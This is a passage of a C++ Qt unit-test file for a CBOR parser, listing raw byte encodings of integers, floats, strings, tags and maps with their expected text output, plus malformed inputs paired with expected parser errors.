QTest::addColumn(\"expected\");\n QTest::addColumn(\"n\"); // some aux integer, not added in all columns\n}\n\nvoid addFixedData()\n{\n // unsigned integers\n QTest::newRow(\"0\") << raw(\"\\x00\") << \"0\";\n QTest::newRow(\"1\") << raw(\"\\x01\") << \"1\";\n QTest::newRow(\"10\") << raw(\"\\x0a\") << \"10\";\n QTest::newRow(\"23\") << raw(\"\\x17\") << \"23\";\n QTest::newRow(\"24\") << raw(\"\\x18\\x18\") << \"24\";\n QTest::newRow(\"UINT8_MAX\") << raw(\"\\x18\\xff\") << \"255\";\n QTest::newRow(\"UINT8_MAX+1\") << raw(\"\\x19\\x01\\x00\") << \"256\";\n QTest::newRow(\"UINT16_MAX\") << raw(\"\\x19\\xff\\xff\") << \"65535\";\n QTest::newRow(\"UINT16_MAX+1\") << raw(\"\\x1a\\0\\1\\x00\\x00\") << \"65536\";\n QTest::newRow(\"UINT32_MAX\") << raw(\"\\x1a\\xff\\xff\\xff\\xff\") << \"4294967295\";\n QTest::newRow(\"UINT32_MAX+1\") << raw(\"\\x1b\\0\\0\\0\\1\\0\\0\\0\\0\") << \"4294967296\";\n QTest::newRow(\"UINT64_MAX\") << raw(\"\\x1b\" \"\\xff\\xff\\xff\\xff\" \"\\xff\\xff\\xff\\xff\")\n << QString::number(std::numeric_limits::max());\n\n // negative integers\n QTest::newRow(\"-1\") << raw(\"\\x20\") << \"-1\";\n QTest::newRow(\"-2\") << raw(\"\\x21\") << \"-2\";\n QTest::newRow(\"-24\") << raw(\"\\x37\") << \"-24\";\n QTest::newRow(\"-25\") << raw(\"\\x38\\x18\") << \"-25\";\n QTest::newRow(\"-UINT8_MAX\") << raw(\"\\x38\\xff\") << \"-256\";\n QTest::newRow(\"-UINT8_MAX-1\") << raw(\"\\x39\\x01\\x00\") << \"-257\";\n QTest::newRow(\"-UINT16_MAX\") << raw(\"\\x39\\xff\\xff\") << \"-65536\";\n QTest::newRow(\"-UINT16_MAX-1\") << raw(\"\\x3a\\0\\1\\x00\\x00\") << \"-65537\";\n QTest::newRow(\"-UINT32_MAX\") << raw(\"\\x3a\\xff\\xff\\xff\\xff\") << \"-4294967296\";\n QTest::newRow(\"-UINT32_MAX-1\") << raw(\"\\x3b\\0\\0\\0\\1\\0\\0\\0\\0\") << \"-4294967297\";\n QTest::newRow(\"INT64_MIN+1\") << raw(\"\\x3b\\x7f\\xff\\xff\\xff\"\"\\xff\\xff\\xff\\xfe\")\n << QString::number(std::numeric_limits::min() + 1);\n QTest::newRow(\"INT64_MIN\") << raw(\"\\x3b\\x7f\\xff\\xff\\xff\"\"\\xff\\xff\\xff\\xff\")\n << QString::number(std::numeric_limits::min());\n QTest::newRow(\"INT64_MIN-1\") << raw(\"\\x3b\\x80\\0\\0\\0\"\"\\0\\0\\0\\0\") << \"-9223372036854775809\";\n QTest::newRow(\"-UINT64_MAX\") << raw(\"\\x3b\" \"\\xff\\xff\\xff\\xff\" \"\\xff\\xff\\xff\\xfe\")\n << '-' + QString::number(std::numeric_limits::max());\n QTest::newRow(\"-UINT64_MAX+1\") << raw(\"\\x3b\" \"\\xff\\xff\\xff\\xff\" \"\\xff\\xff\\xff\\xff\")\n << \"-18446744073709551616\";\n\n // overlongs\n QTest::newRow(\"0*1\") << raw(\"\\x18\\x00\") << \"0_0\";\n QTest::newRow(\"0*2\") << raw(\"\\x19\\x00\\x00\") << \"0_1\";\n QTest::newRow(\"0*4\") << raw(\"\\x1a\\0\\0\\0\\0\") << \"0_2\";\n QTest::newRow(\"0*8\") << raw(\"\\x1b\\0\\0\\0\\0\\0\\0\\0\\0\") << \"0_3\";\n QTest::newRow(\"-1*1\") << raw(\"\\x38\\x00\") << \"-1_0\";\n QTest::newRow(\"-1*2\") << raw(\"\\x39\\x00\\x00\") << \"-1_1\";\n QTest::newRow(\"-1*4\") << raw(\"\\x3a\\0\\0\\0\\0\") << \"-1_2\";\n QTest::newRow(\"-1*8\") << raw(\"\\x3b\\0\\0\\0\\0\\0\\0\\0\\0\") << \"-1_3\";\n\n QTest::newRow(\"simple0\") << raw(\"\\xe0\") << \"simple(0)\";\n QTest::newRow(\"simple19\") << raw(\"\\xf3\") << \"simple(19)\";\n QTest::newRow(\"false\") << raw(\"\\xf4\") << \"false\";\n QTest::newRow(\"true\") << raw(\"\\xf5\") << \"true\";\n QTest::newRow(\"null\") << raw(\"\\xf6\") << \"null\";\n QTest::newRow(\"undefined\") << raw(\"\\xf7\") << \"undefined\";\n QTest::newRow(\"simple32\") << raw(\"\\xf8\\x20\") << \"simple(32)\";\n QTest::newRow(\"simple255\") << raw(\"\\xf8\\xff\") << \"simple(255)\";\n\n // floating point\n\n QTest::newRow(\"0.f16\") << raw(\"\\xf9\\0\\0\") << \"0.f16\";\n QTest::newRow(\"0.f\") << raw(\"\\xfa\\0\\0\\0\\0\") << \"0.f\";\n QTest::newRow(\"0.\") << raw(\"\\xfb\\0\\0\\0\\0\\0\\0\\0\\0\") << \"0.\";\n QTest::newRow(\"-1.f16\") << raw(\"\\xf9\\xbc\\x00\") << \"-1.f16\";\n QTest::newRow(\"-1.f\") << raw(\"\\xfa\\xbf\\x80\\0\\0\") << \"-1.f\";\n QTest::newRow(\"-1.\") << raw(\"\\xfb\\xbf\\xf0\\0\\0\\0\\0\\0\\0\") << \"-1.\";\n QTest::newRow(\"65504.f16\") << raw(\"\\xf9\\x7b\\xff\") << \"65504.f16\";\n QTest::newRow(\"16777215.f\") << raw(\"\\xfa\\x4b\\x7f\\xff\\xff\") << \"16777215.f\";\n QTest::newRow(\"16777215.\") << raw(\"\\xfb\\x41\\x6f\\xff\\xff\\xe0\\0\\0\\0\") << \"16777215.\";\n QTest::newRow(\"-16777215.f\") << raw(\"\\xfa\\xcb\\x7f\\xff\\xff\") << \"-16777215.f\";\n QTest::newRow(\"-16777215.\") << raw(\"\\xfb\\xc1\\x6f\\xff\\xff\\xe0\\0\\0\\0\") << \"-16777215.\";\n\n QTest::newRow(\"0.5f16\") << raw(\"\\xf9\\x38\\0\") << \"0.5f16\";\n QTest::newRow(\"0.5f\") << raw(\"\\xfa\\x3f\\0\\0\\0\") << \"0.5f\";\n QTest::newRow(\"0.5\") << raw(\"\\xfb\\x3f\\xe0\\0\\0\\0\\0\\0\\0\") << \"0.5\";\n QTest::newRow(\"2.f16^11-1\") << raw(\"\\xf9\\x67\\xff\") << \"2047.f16\";\n QTest::newRow(\"2.f^24-1\") << raw(\"\\xfa\\x4b\\x7f\\xff\\xff\") << \"16777215.f\";\n QTest::newRow(\"2.^53-1\") << raw(\"\\xfb\\x43\\x3f\\xff\\xff\"\"\\xff\\xff\\xff\\xff\") << \"9007199254740991.\";\n QTest::newRow(\"2.f^64-epsilon\") << raw(\"\\xfa\\x5f\\x7f\\xff\\xff\") << \"18446742974197923840.f\";\n QTest::newRow(\"2.^64-epsilon\") << raw(\"\\xfb\\x43\\xef\\xff\\xff\"\"\\xff\\xff\\xff\\xff\") << \"18446744073709549568.\";\n QTest::newRow(\"2.f^64\") << raw(\"\\xfa\\x5f\\x80\\0\\0\") << \"1.8446744073709552e+19f\";\n QTest::newRow(\"2.^64\") << raw(\"\\xfb\\x43\\xf0\\0\\0\\0\\0\\0\\0\") << \"1.8446744073709552e+19\";\n\n QTest::newRow(\"nan_f16\") << raw(\"\\xf9\\x7e\\x00\") << \"nan\";\n QTest::newRow(\"nan_f\") << raw(\"\\xfa\\x7f\\xc0\\0\\0\") << \"nan\";\n QTest::newRow(\"nan\") << raw(\"\\xfb\\x7f\\xf8\\0\\0\\0\\0\\0\\0\") << \"nan\";\n QTest::newRow(\"-inf_f16\") << raw(\"\\xf9\\xfc\\x00\") << \"-inf\";\n QTest::newRow(\"-inf_f\") << raw(\"\\xfa\\xff\\x80\\0\\0\") << \"-inf\";\n QTest::newRow(\"-inf\") << raw(\"\\xfb\\xff\\xf0\\0\\0\\0\\0\\0\\0\") << \"-inf\";\n QTest::newRow(\"+inf_f16\") << raw(\"\\xf9\\x7c\\x00\") << \"inf\";\n QTest::newRow(\"+inf_f\") << raw(\"\\xfa\\x7f\\x80\\0\\0\") << \"inf\";\n QTest::newRow(\"+inf\") << raw(\"\\xfb\\x7f\\xf0\\0\\0\\0\\0\\0\\0\") << \"inf\";\n\n}\n\nvoid addNonChunkedStringsData()\n{\n // byte strings\n QTest::newRow(\"emptybytestring\") << raw(\"\\x40\") << \"h''\";\n QTest::newRow(\"bytestring1\") << raw(\"\\x41 \") << \"h'20'\";\n QTest::newRow(\"bytestring1-nul\") << raw(\"\\x41\\0\") << \"h'00'\";\n QTest::newRow(\"bytestring5\") << raw(\"\\x45Hello\") << \"h'48656c6c6f'\";\n QTest::newRow(\"bytestring24\") << raw(\"\\x58\\x18\"\"123456789012345678901234\")\n << \"h'313233343536373839303132333435363738393031323334'\";\n QTest::newRow(\"bytestring256\") << raw(\"\\x59\\1\\0\") + QByteArray(256, '3')\n << \"h'\" + QString(256 * 2, '3') + '\\'';\n\n // text strings\n QTest::newRow(\"emptytextstring\") << raw(\"\\x60\") << \"\\\"\\\"\";\n QTest::newRow(\"textstring1\") << raw(\"\\x61 \") << \"\\\" \\\"\";\n QTest::newRow(\"textstring1-nul\") << raw(\"\\x61\\0\") << \"\\\"\\\\u0000\\\"\";\n QTest::newRow(\"textstring5\") << raw(\"\\x65Hello\") << \"\\\"Hello\\\"\";\n QTest::newRow(\"textstring24\") << raw(\"\\x78\\x18\"\"123456789012345678901234\")\n << \"\\\"123456789012345678901234\\\"\";\n QTest::newRow(\"textstring256\") << raw(\"\\x79\\1\\0\") + QByteArray(256, '3')\n << '\"' + QString(256, '3') + '\"';\n\n // some strings with UTF-8 content\n // we had a bug in the pretty dumper - see issue #54\n QTest::newRow(\"textstringutf8-2char\") << raw(\"\\x62\\xc2\\xa0\") << \"\\\"\\\\u00A0\\\"\";\n QTest::newRow(\"textstringutf8-2char2\") << raw(\"\\x64\\xc2\\xa0\\xc2\\xa9\") << \"\\\"\\\\u00A0\\\\u00A9\\\"\";\n QTest::newRow(\"textstringutf8-3char\") << raw(\"\\x63\\xe2\\x88\\x80\") << \"\\\"\\\\u2200\\\"\";\n QTest::newRow(\"textstringutf8-4char\") << raw(\"\\x64\\xf0\\x90\\x88\\x83\") << \"\\\"\\\\uD800\\\\uDE03\\\"\";\n\n // strings with overlong length\n QTest::newRow(\"emptybytestring*1\") << raw(\"\\x58\\x00\") << \"h''_0\";\n QTest::newRow(\"emptytextstring*1\") << raw(\"\\x78\\x00\") << \"\\\"\\\"_0\";\n QTest::newRow(\"emptybytestring*2\") << raw(\"\\x59\\x00\\x00\") << \"h''_1\";\n QTest::newRow(\"emptytextstring*2\") << raw(\"\\x79\\x00\\x00\") << \"\\\"\\\"_1\";\n QTest::newRow(\"emptybytestring*4\") << raw(\"\\x5a\\0\\0\\0\\0\") << \"h''_2\";\n QTest::newRow(\"emptytextstring*4\") << raw(\"\\x7a\\0\\0\\0\\0\") << \"\\\"\\\"_2\";\n QTest::newRow(\"emptybytestring*8\") << raw(\"\\x5b\\0\\0\\0\\0\\0\\0\\0\\0\") << \"h''_3\";\n QTest::newRow(\"emptytextstring*8\") << raw(\"\\x7b\\0\\0\\0\\0\\0\\0\\0\\0\") << \"\\\"\\\"_3\";\n QTest::newRow(\"bytestring5*1\") << raw(\"\\x58\\x05Hello\") << \"h'48656c6c6f'_0\";\n QTest::newRow(\"textstring5*1\") << raw(\"\\x78\\x05Hello\") << \"\\\"Hello\\\"_0\";\n QTest::newRow(\"bytestring5*2\") << raw(\"\\x59\\0\\5Hello\") << \"h'48656c6c6f'_1\";\n QTest::newRow(\"textstring5*2\") << raw(\"\\x79\\0\\x05Hello\") << \"\\\"Hello\\\"_1\";\n QTest::newRow(\"bytestring5*4\") << raw(\"\\x5a\\0\\0\\0\\5Hello\") << \"h'48656c6c6f'_2\";\n QTest::newRow(\"textstring5*4\") << raw(\"\\x7a\\0\\0\\0\\x05Hello\") << \"\\\"Hello\\\"_2\";\n QTest::newRow(\"bytestring5*8\") << raw(\"\\x5b\\0\\0\\0\\0\\0\\0\\0\\5Hello\") << \"h'48656c6c6f'_3\";\n QTest::newRow(\"textstring5*8\") << raw(\"\\x7b\\0\\0\\0\\0\\0\\0\\0\\x05Hello\") << \"\\\"Hello\\\"_3\";\n\n}\n\nvoid addStringsData()\n{\n addNonChunkedStringsData();\n\n // strings with undefined length\n QTest::newRow(\"_emptybytestring\") << raw(\"\\x5f\\xff\") << \"(_ )\";\n QTest::newRow(\"_emptytextstring\") << raw(\"\\x7f\\xff\") << \"(_ )\";\n QTest::newRow(\"_emptybytestring2\") << raw(\"\\x5f\\x40\\xff\") << \"(_ h'')\";\n QTest::newRow(\"_emptytextstring2\") << raw(\"\\x7f\\x60\\xff\") << \"(_ \\\"\\\")\";\n QTest::newRow(\"_emptybytestring2*1\") << raw(\"\\x5f\\x58\\x00\\xff\") << \"(_ h''_0)\";\n QTest::newRow(\"_emptytextstring2*1\") << raw(\"\\x7f\\x78\\x00\\xff\") << \"(_ \\\"\\\"_0)\";\n QTest::newRow(\"_emptybytestring3\") << raw(\"\\x5f\\x40\\x40\\xff\") << \"(_ h'', h'')\";\n QTest::newRow(\"_emptytextstring3\") << raw(\"\\x7f\\x60\\x60\\xff\") << \"(_ \\\"\\\", \\\"\\\")\";\n QTest::newRow(\"_emptybytestring3*2\") << raw(\"\\x5f\\x59\\x00\\x00\\x40\\xff\") << \"(_ h''_1, h'')\";\n QTest::newRow(\"_emptytextstring3*2\") << raw(\"\\x7f\\x79\\x00\\x00\\x60\\xff\") << \"(_ \\\"\\\"_1, \\\"\\\")\";\n QTest::newRow(\"_bytestring5x2\") << raw(\"\\x5f\\x43Hel\\x42lo\\xff\") << \"(_ h'48656c', h'6c6f')\";\n QTest::newRow(\"_textstring5x2\") << raw(\"\\x7f\\x63Hel\\x62lo\\xff\") << \"(_ \\\"Hel\\\", \\\"lo\\\")\";\n QTest::newRow(\"_bytestring5x2*8*4\") << raw(\"\\x5f\\x5b\\0\\0\\0\\0\\0\\0\\0\\3Hel\\x5a\\0\\0\\0\\2lo\\xff\") << \"(_ h'48656c'_3, h'6c6f'_2)\";\n QTest::newRow(\"_textstring5x2*8*4\") << raw(\"\\x7f\\x7b\\0\\0\\0\\0\\0\\0\\0\\3Hel\\x7a\\0\\0\\0\\2lo\\xff\") << \"(_ \\\"Hel\\\"_3, \\\"lo\\\"_2)\";\n QTest::newRow(\"_bytestring5x5\") << raw(\"\\x5f\\x41H\\x41\"\"e\\x41l\\x41l\\x41o\\xff\") << \"(_ h'48', h'65', h'6c', h'6c', h'6f')\";\n QTest::newRow(\"_textstring5x5\") << raw(\"\\x7f\\x61H\\x61\"\"e\\x61l\\x61l\\x61o\\xff\") << \"(_ \\\"H\\\", \\\"e\\\", \\\"l\\\", \\\"l\\\", \\\"o\\\")\";\n QTest::newRow(\"_bytestring5x6\") << raw(\"\\x5f\\x41H\\x41\"\"e\\x40\\x41l\\x41l\\x41o\\xff\") << \"(_ h'48', h'65', h'', h'6c', h'6c', h'6f')\";\n QTest::newRow(\"_textstring5x6\") << raw(\"\\x7f\\x61H\\x61\"\"e\\x61l\\x60\\x61l\\x61o\\xff\") << \"(_ \\\"H\\\", \\\"e\\\", \\\"l\\\", \\\"\\\", \\\"l\\\", \\\"o\\\")\";\n}\n\nvoid addTagsData()\n{\n // since parseOne() works recursively for tags, we can't test lone tags\n QTest::newRow(\"tag0\") << raw(\"\\xc0\\x00\") << \"0(0)\";\n QTest::newRow(\"tag1\") << raw(\"\\xc1\\x00\") << \"1(0)\";\n QTest::newRow(\"tag24\") << raw(\"\\xd8\\x18\\x00\") << \"24(0)\";\n QTest::newRow(\"tag255\") << raw(\"\\xd8\\xff\\x00\") << \"255(0)\";\n QTest::newRow(\"tag256\") << raw(\"\\xd9\\1\\0\\x00\") << \"256(0)\";\n QTest::newRow(\"tag65535\") << raw(\"\\xd9\\xff\\xff\\x00\") << \"65535(0)\";\n QTest::newRow(\"tag65536\") << raw(\"\\xda\\0\\1\\0\\0\\x00\") << \"65536(0)\";\n QTest::newRow(\"tagUINT32_MAX-1\") << raw(\"\\xda\\xff\\xff\\xff\\xff\\x00\") << \"4294967295(0)\";\n QTest::newRow(\"tagUINT32_MAX\") << raw(\"\\xdb\\0\\0\\0\\1\\0\\0\\0\\0\\x00\") << \"4294967296(0)\";\n QTest::newRow(\"tagUINT64_MAX\") << raw(\"\\xdb\" \"\\xff\\xff\\xff\\xff\" \"\\xff\\xff\\xff\\xff\" \"\\x00\")\n << QString::number(std::numeric_limits::max()) + \"(0)\";\n\n // overlong tags\n QTest::newRow(\"tag0*1\") << raw(\"\\xd8\\0\\x00\") << \"0_0(0)\";\n QTest::newRow(\"tag0*2\") << raw(\"\\xd9\\0\\0\\x00\") << \"0_1(0)\";\n QTest::newRow(\"tag0*4\") << raw(\"\\xda\\0\\0\\0\\0\\x00\") << \"0_2(0)\";\n QTest::newRow(\"tag0*8\") << raw(\"\\xdb\\0\\0\\0\\0\\0\\0\\0\\0\\x00\") << \"0_3(0)\";\n\n // tag other things\n QTest::newRow(\"unixtime\") << raw(\"\\xc1\\x1a\\x55\\x4b\\xbf\\xd3\") << \"1(1431027667)\";\n QTest::newRow(\"rfc3339date\") << raw(\"\\xc0\\x78\\x19\" \"2015-05-07 12:41:07-07:00\")\n << \"0(\\\"2015-05-07 12:41:07-07:00\\\")\";\n QTest::newRow(\"tag6+false\") << raw(\"\\xc6\\xf4\") << \"6(false)\";\n QTest::newRow(\"tag25+true\") << raw(\"\\xd8\\x19\\xf5\") << \"25(true)\";\n QTest::newRow(\"tag256+null\") << raw(\"\\xd9\\1\\0\\xf6\") << \"256(null)\";\n QTest::newRow(\"tag65536+simple32\") << raw(\"\\xda\\0\\1\\0\\0\\xf8\\x20\") << \"65536(simple(32))\";\n QTest::newRow(\"float+unixtime\") << raw(\"\\xc1\\xfa\\x4e\\xaa\\x97\\x80\") << \"1(1431027712.f)\";\n QTest::newRow(\"double+unixtime\") << raw(\"\\xc1\\xfb\" \"\\x41\\xd5\\x52\\xef\" \"\\xf4\\xc7\\xce\\xfe\")\n << \"1(1431027667.1220088)\";\n}\n\nvoid addEmptyContainersData()\n{\n QTest::newRow(\"emptyarray\") << raw(\"\\x80\") << \"[]\" << 0;\n QTest::newRow(\"emptymap\") << raw(\"\\xa0\") << \"{}\" << 0;\n QTest::newRow(\"_emptyarray\") << raw(\"\\x9f\\xff\") << \"[_ ]\" << -1;\n QTest::newRow(\"_emptymap\") << raw(\"\\xbf\\xff\") << \"{_ }\" << -1;\n}\n\nvoid addMapMixedData()\n{\n QTest::newRow(\"map-0-24\") << raw(\"\\xa1\\0\\x18\\x18\") << \"{0: 24}\" << 1;\n QTest::newRow(\"map-0*1-24\") << raw(\"\\xa1\\x18\\0\\x18\\x18\") << \"{0_0: 24}\" << 1;\n QTest::newRow(\"map-0*1-24*2\") << raw(\"\\xa1\\x18\\0\\x19\\0\\x18\") << \"{0_0: 24_1}\" << 1;\n QTest::newRow(\"map-0*4-24*2\") << raw(\"\\xa1\\x1a\\0\\0\\0\\0\\x19\\0\\x18\") << \"{0_2: 24_1}\" << 1;\n QTest::newRow(\"map-24-0\") << raw(\"\\xa1\\x18\\x18\\0\") << \"{24: 0}\" << 1;\n QTest::newRow(\"map-24-0*1\") << raw(\"\\xa1\\x18\\x18\\x18\\0\") << \"{24: 0_0}\" << 1;\n QTest::newRow(\"map-255-65535\") << raw(\"\\xa1\\x18\\xff\\x19\\xff\\xff\") << \"{255: 65535}\" << 1;\n\n QTest::newRow(\"_map-0-24\") << raw(\"\\xbf\\0\\x18\\x18\\xff\") << \"{_ 0: 24}\" << 1;\n QTest::newRow(\"_map-0*1-24\") << raw(\"\\xbf\\x18\\0\\x18\\x18\\xff\") << \"{_ 0_0: 24}\" << 1;\n QTest::newRow(\"_map-0*1-24*2\") << raw(\"\\xbf\\x18\\0\\x19\\0\\x18\\xff\") << \"{_ 0_0: 24_1}\" << 1;\n QTest::newRow(\"_map-0*4-24*2\") << raw(\"\\xbf\\x1a\\0\\0\\0\\0\\x19\\0\\x18\\xff\") << \"{_ 0_2: 24_1}\" << 1;\n QTest::newRow(\"_map-24-0\") << raw(\"\\xbf\\x18\\x18\\0\\xff\") << \"{_ 24: 0}\" << 1;\n QTest::newRow(\"_map-24-0*1\") << raw(\"\\xbf\\x18\\x18\\x18\\0\\xff\") << \"{_ 24: 0_0}\" << 1;\n QTest::newRow(\"_map-255-65535\") << raw(\"\\xbf\\x18\\xff\\x19\\xff\\xff\\xff\") << \"{_ 255: 65535}\" << 1;\n}\n\nvoid addChunkedStringData()\n{\n QTest::addColumn(\"data\");\n QTest::addColumn(\"concatenated\");\n QTest::addColumn(\"chunks\");\n\n // non-chunked:\n QTest::newRow(\"emptybytestring\") << raw(\"\\x40\") << \"h''\" << QStringList{\"h''\"};\n QTest::newRow(\"bytestring1\") << raw(\"\\x41 \") << \"h'20'\" << QStringList{\"h'20'\"};\n QTest::newRow(\"emptytextstring\") << raw(\"\\x60\") << \"\\\"\\\"\" << QStringList{\"\\\"\\\"\"};\n QTest::newRow(\"textstring1\") << raw(\"\\x61 \") << \"\\\" \\\"\" << QStringList{\"\\\" \\\"\"};\n\n // empty chunked:\n QTest::newRow(\"_emptybytestring\") << raw(\"\\x5f\\xff\") << \"h''\" << QStringList{};\n QTest::newRow(\"_emptytextstring\") << raw(\"\\x7f\\xff\") << \"\\\"\\\"\" << QStringList{};\n QTest::newRow(\"_emptybytestring2\") << raw(\"\\x5f\\x40\\xff\") << \"h''\" << QStringList{\"h''\"};\n QTest::newRow(\"_emptytextstring2\") << raw(\"\\x7f\\x60\\xff\") << \"\\\"\\\"\" << QStringList{\"\\\"\\\"\"};\n QTest::newRow(\"_emptybytestring3\") << raw(\"\\x5f\\x40\\x40\\xff\") << \"h''\" << QStringList{\"h''\", \"h''\"};\n QTest::newRow(\"_emptytextstring3\") << raw(\"\\x7f\\x60\\x60\\xff\") << \"\\\"\\\"\" << QStringList{\"\\\"\\\"\", \"\\\"\\\"\"};\n\n // regular chunks\n QTest::newRow(\"_bytestring1\") << raw(\"\\x5f\\x41 \\xff\") << \"h'20'\" << QStringList{\"h'20'\"};\n QTest::newRow(\"_bytestring2\") << raw(\"\\x5f\\x41 \\x41z\\xff\") << \"h'207a'\" << QStringList{\"h'20'\", \"h'7a'\"};\n QTest::newRow(\"_bytestring3\") << raw(\"\\x5f\\x41 \\x58\\x18\"\"123456789012345678901234\\x41z\\xff\")\n << \"h'203132333435363738393031323334353637383930313233347a'\"\n << QStringList{\"h'20'\", \"h'313233343536373839303132333435363738393031323334'\", \"h'7a'\"};\n\n QTest::newRow(\"_textstring1\") << raw(\"\\x7f\\x61 \\xff\") << \"\\\" \\\"\" << QStringList{\"\\\" \\\"\"};\n QTest::newRow(\"_textstring2\") << raw(\"\\x7f\\x61 \\x61z\\xff\") << \"\\\" z\\\"\" << QStringList{\"\\\" \\\"\", \"\\\"z\\\"\"};\n QTest::newRow(\"_textstring3\") << raw(\"\\x7f\\x61 \\x78\\x18\"\"123456789012345678901234\\x61z\\xff\")\n << \"\\\" 123456789012345678901234z\\\"\"\n << QStringList{\"\\\" \\\"\", \"\\\"123456789012345678901234\\\"\", \"\\\"z\\\"\"};\n}\n\nvoid addValidationColumns()\n{\n QTest::addColumn(\"data\");\n QTest::addColumn(\"flags\"); // future\n QTest::addColumn(\"expectedError\");\n}\n\nvoid addValidationData(size_t minInvalid = ~size_t(0))\n{\n // illegal numbers are future extension points\n QTest::newRow(\"illegal-number-in-unsigned-1\") << raw(\"\\x81\\x1c\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-unsigned-2\") << raw(\"\\x81\\x1d\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-unsigned-3\") << raw(\"\\x81\\x1e\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-unsigned-4\") << raw(\"\\x81\\x1f\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-negative-1\") << raw(\"\\x81\\x3c\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-negative-2\") << raw(\"\\x81\\x3d\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-negative-3\") << raw(\"\\x81\\x3e\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-negative-4\") << raw(\"\\x81\\x3f\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-bytearray-length-1\") << raw(\"\\x81\\x5c\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-bytearray-length-2\") << raw(\"\\x81\\x5d\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-bytearray-length-3\") << raw(\"\\x81\\x5e\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-string-length-1\") << raw(\"\\x81\\x7c\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-string-length-2\") << raw(\"\\x81\\x7d\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-string-length-3\") << raw(\"\\x81\\x7e\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-array-length-1\") << raw(\"\\x81\\x9c\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-array-length-2\") << raw(\"\\x81\\x9d\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-array-length-3\") << raw(\"\\x81\\x9e\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-map-length-1\") << raw(\"\\x81\\xbc\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-map-length-2\") << raw(\"\\x81\\xbd\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-map-length-3\") << raw(\"\\x81\\xbe\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-tag-1\") << raw(\"\\x81\\xdc\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-tag-2\") << raw(\"\\x81\\xdd\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-tag-3\") << raw(\"\\x81\\xde\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"illegal-number-in-tag-4\") << raw(\"\\x81\\xdf\") << 0 << CborErrorIllegalNumber;\n\n QTest::newRow(\"unsigned-too-short-1-0\") << raw(\"\\x81\\x18\") << 0 << CborErrorUnexpectedEOF; // requires 1 byte, 0 given\n QTest::newRow(\"unsigned-too-short-2-0\") << raw(\"\\x81\\x19\") << 0 << CborErrorUnexpectedEOF; // requires 2 bytes, 0 given\n QTest::newRow(\"unsigned-too-short-2-1\") << raw(\"\\x81\\x19\\x01\") << 0 << CborErrorUnexpectedEOF; // etc\n QTest::newRow(\"unsigned-too-short-4-0\") << raw(\"\\x81\\x1a\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"unsigned-too-short-4-3\") << raw(\"\\x81\\x1a\\x01\\x02\\x03\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"unsigned-too-short-8-0\") << raw(\"\\x81\\x1b\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"unsigned-too-short-8-7\") << raw(\"\\x81\\x1b\\1\\2\\3\\4\\5\\6\\7\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"negative-length-too-short-1-0\") << raw(\"\\x81\\x38\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"negative-length-too-short-2-0\") << raw(\"\\x81\\x39\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"negative-length-too-short-2-1\") << raw(\"\\x81\\x39\\x01\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"negative-length-too-short-4-0\") << raw(\"\\x81\\x3a\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"negative-length-too-short-4-3\") << raw(\"\\x81\\x3a\\x01\\x02\\x03\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"negative-length-too-short-8-0\") << raw(\"\\x81\\x3b\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"negative-length-too-short-8-7\") << raw(\"\\x81\\x3b\\1\\2\\3\\4\\5\\6\\7\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-length-too-short-1-0\") << raw(\"\\x81\\x58\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-length-too-short-2-0\") << raw(\"\\x81\\x59\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-length-too-short-2-1\") << raw(\"\\x81\\x59\\x01\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-length-too-short-4-0\") << raw(\"\\x81\\x5a\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-length-too-short-4-3\") << raw(\"\\x81\\x5a\\x01\\x02\\x03\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-length-too-short-8-0\") << raw(\"\\x81\\x5b\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-length-too-short-8-7\") << raw(\"\\x81\\x5b\\1\\2\\3\\4\\5\\6\\7\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-length-too-short-1-0\") << raw(\"\\x81\\x78\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-length-too-short-2-0\") << raw(\"\\x81\\x79\") << 0 << CborErrorUnexpectedEOF;\n 